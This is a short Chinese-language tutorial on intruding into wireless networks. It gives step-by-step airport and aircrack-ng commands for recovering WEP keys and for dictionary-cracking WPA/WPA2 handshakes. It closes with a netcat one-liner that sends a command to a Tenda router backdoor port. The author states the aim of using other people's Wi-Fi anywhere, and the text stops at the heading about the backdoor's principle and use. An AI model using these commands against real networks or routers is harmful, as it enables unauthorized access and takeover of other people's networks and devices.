目前无线网络的加密方式主要有WEP，WPA/WPA2。这是最常看到的加密方式，最近由于需要，专门去研究了一下如何入侵无线网络。

1、入侵WEP加密的无线网络

WEP加密方式现在已经很不安全了，因为只要通过一定量的数据包，就可以穷举出密码，无论密码多么复杂，也最多需要几分钟而已。

WEP的秘钥分为5位和13位。

入侵主要流程：

1）先查看附近的wifi信号

1	airport -s

2）选定其中一个wifi信号，看到其所在的频道，开始监听抓包

1	sudo airport en0 sniff 11

en0 代表无线网卡，11代表要监听的无线信号在11频道上，此时笔记本进入了监听阶段，抓到的包保存为/tmp/airportSniffxxxxx.cap

3）此时我们可以一边抓包，一边进行解密

1	aircrack-ng -1 -a 1 -e xx:xx:xx:xx:xx:xx /tmp/airportSniffxxxxx.cap

-e 代表目的MAC地址

-a 1 代表使用WEP破解方式

只要包到达了一定数量，密码很快就出来了。

注：对于13位的WEP，需要等多的数据包，例外，在数据包足够多时，但是又破解不出来的时候，可以尝试下提高 -f 影响因子的大小（默认为2），可以尝试提高到1024等。

2、入侵WPA/WPA2加密的无线网络

WPA/WPA2相对于WEP来说安全了很多，但是也存在着很大的隐患，虽然不会像WEP那样通过数据包直接分析出来了，但是需要获得了一次handshake，就可以用过字典暴力破解的方法获得秘钥。现在网上不管是弱密码还是已有的泄露的密码，都能找到很多，搜集整理出来一份很好地字典就能走到哪里都有无线可以蹭了。

入侵主要流程：

1）先查看附近的wifi信号

1	airport -s

2）选定其中一个wifi信号，看到其所在的频道，开始监听抓包

1	sudo airport en0 sniff 11

en0 代表无线网卡，11代表要监听的无线信号在11频道上，此时笔记本进入了监听阶段，抓到的包保存为/tmp/airportSniffxxxxx.cap

3）此时我们可以一边抓包，一边进行解密

1	aircrack-ng -w password.txt -e xx:xx:xx:xx:xx:xx /tmp/airportSniffxxxxx.cap

-w 后面代表字典文件

只要拥有一个handshake，就可以开始跑字典破解了。handshake是在监听阶段，有用户重新连接到无线上，就是一个handshake。

3、Tenda路由器后门利用

1	echo -ne  "w302r_mfg\x00x/bin/ls"  | nc -u -q 5 192.168.0.1 7329

漏洞原理及利用：